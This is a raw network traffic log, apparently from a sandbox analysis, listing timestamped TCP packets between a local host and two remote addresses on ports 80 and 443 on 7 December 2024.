Dec 7, 2024 08:43:42.150753975 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.151437998 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.151479959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.151536942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.151578903 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.152268887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.152311087 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.152381897 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.152421951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.153120995 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.153162956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.153237104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.153276920 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.153964043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.154086113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.154134989 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.154815912 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.154863119 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.154921055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.154968023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.155658960 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.155704975 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.155761957 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.155811071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.156533003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.156550884 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.156575918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.156598091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.157341003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.157453060 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.157501936 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.158165932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.158209085 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.158282042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.158328056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.159034014 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.159082890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.159156084 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.159202099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.159858942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.159905910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.159977913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.160021067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.160707951 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.160754919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.160811901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.160854101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.161557913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.161679983 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.161726952 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.162367105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.162412882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.310389042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.310461044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.310544968 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.310709000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.310750008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.310796976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.310838938 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.311532974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.311585903 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.311590910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.311625957 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.312423944 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.312489986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.312513113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.312524080 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.313302040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.313384056 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.313409090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.313446999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.314076900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.314131021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.314193964 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.314332008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.314941883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.314996958 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.315063953 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.315108061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.315815926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.315874100 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.315922022 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.315967083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.316617012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.316669941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.316698074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.316735983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.317451954 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.317558050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.317605019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.318278074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.318386078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.318435907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.319133043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.319190025 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.319242001 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.319293976 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.319993019 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.320080042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.320092916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.320167065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.320832968 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.320882082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.320972919 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.321031094 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.321724892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.321809053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.321851969 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.322501898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.322546959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.322618008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.322662115 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.323437929 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.323458910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.323488951 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.323502064 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.324224949 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.324336052 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.324381113 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.325046062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.325086117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.325179100 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.325221062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.325865984 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.325926065 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.325984001 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.326373100 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.326750040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.326822042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.326869011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.327570915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.327624083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.327655077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.327724934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.328424931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.328535080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.328603983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.329271078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.329319000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.329345942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.329382896 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.330121040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.330219984 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.330266953 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.330941916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.330986023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.331156015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.331198931 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.331788063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.331832886 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.331937075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.331978083 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.332668066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.332715988 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.332792997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.332848072 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.333563089 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.333652973 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.333666086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.333709955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.334337950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.334388018 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.334631920 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.335165024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.335207939 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.335273027 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.335309029 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.335999966 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.336045027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.336184025 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.336222887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.336853981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.336894989 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.336985111 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.337027073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.337691069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.337735891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.337790012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.337872982 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.338570118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.338608980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.338635921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.338668108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.339370012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.339442968 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.339472055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.339515924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.340209007 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.340253115 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.340352058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.340394974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.341062069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.341111898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.341150045 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.341289997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.341903925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.341948032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.342001915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.342045069 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.342757940 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.342803955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.342840910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.342881918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.343616962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.343660116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.343833923 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.343877077 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.344525099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.344551086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.344583035 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.344599962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.345329046 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.345369101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.345408916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.345458031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.346131086 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.346175909 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.346178055 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.346215963 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.346998930 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.347043037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.347137928 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.347179890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.347811937 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.347881079 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.347907066 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.347996950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.348674059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.348720074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.348773003 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.349430084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.349509954 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.349550962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.349653959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.349694014 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.350339890 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.350383997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.350492954 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.350536108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.351190090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.351233959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.351317883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.351362944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.352029085 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.352083921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.352132082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.352199078 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.352916002 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.352946997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.352994919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.353729010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.353842020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.353871107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.353882074 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.354506016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.357289076 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.384516001 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.385037899 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.385066032 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.385488033 CET	49775	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.385494947 CET	443	49775	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.452433109 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.454356909 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.454381943 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.454847097 CET	49776	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:42.454852104 CET	443	49776	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:42.502386093 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.502451897 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.502474070 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.502506018 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.502710104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.502753019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.502770901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.502844095 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.503377914 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.503429890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.503545046 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.503849983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.504215956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.504266977 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.504348993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.504395962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.505075932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.505127907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.505142927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.505289078 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.516623020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.516700029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.516711950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.516820908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.516833067 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.516844988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.516849041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.516858101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.516869068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.516901970 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.516931057 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.516993999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517007113 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517041922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517148018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517159939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517170906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517182112 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517191887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517194986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517206907 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517226934 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517252922 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517432928 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517445087 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517474890 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517477989 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517487049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517497063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517508984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517529011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517539024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517541885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517558098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517569065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517570972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517599106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517622948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.517980099 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.517992020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.518003941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.518017054 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.518021107 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.518042088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.518069029 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.519635916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.519655943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.519666910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.519697905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.519721031 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:42.519798040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.519809008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.519819975 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:42.519835949 CET	49759	80	192.168.2.5	185.215.113.206
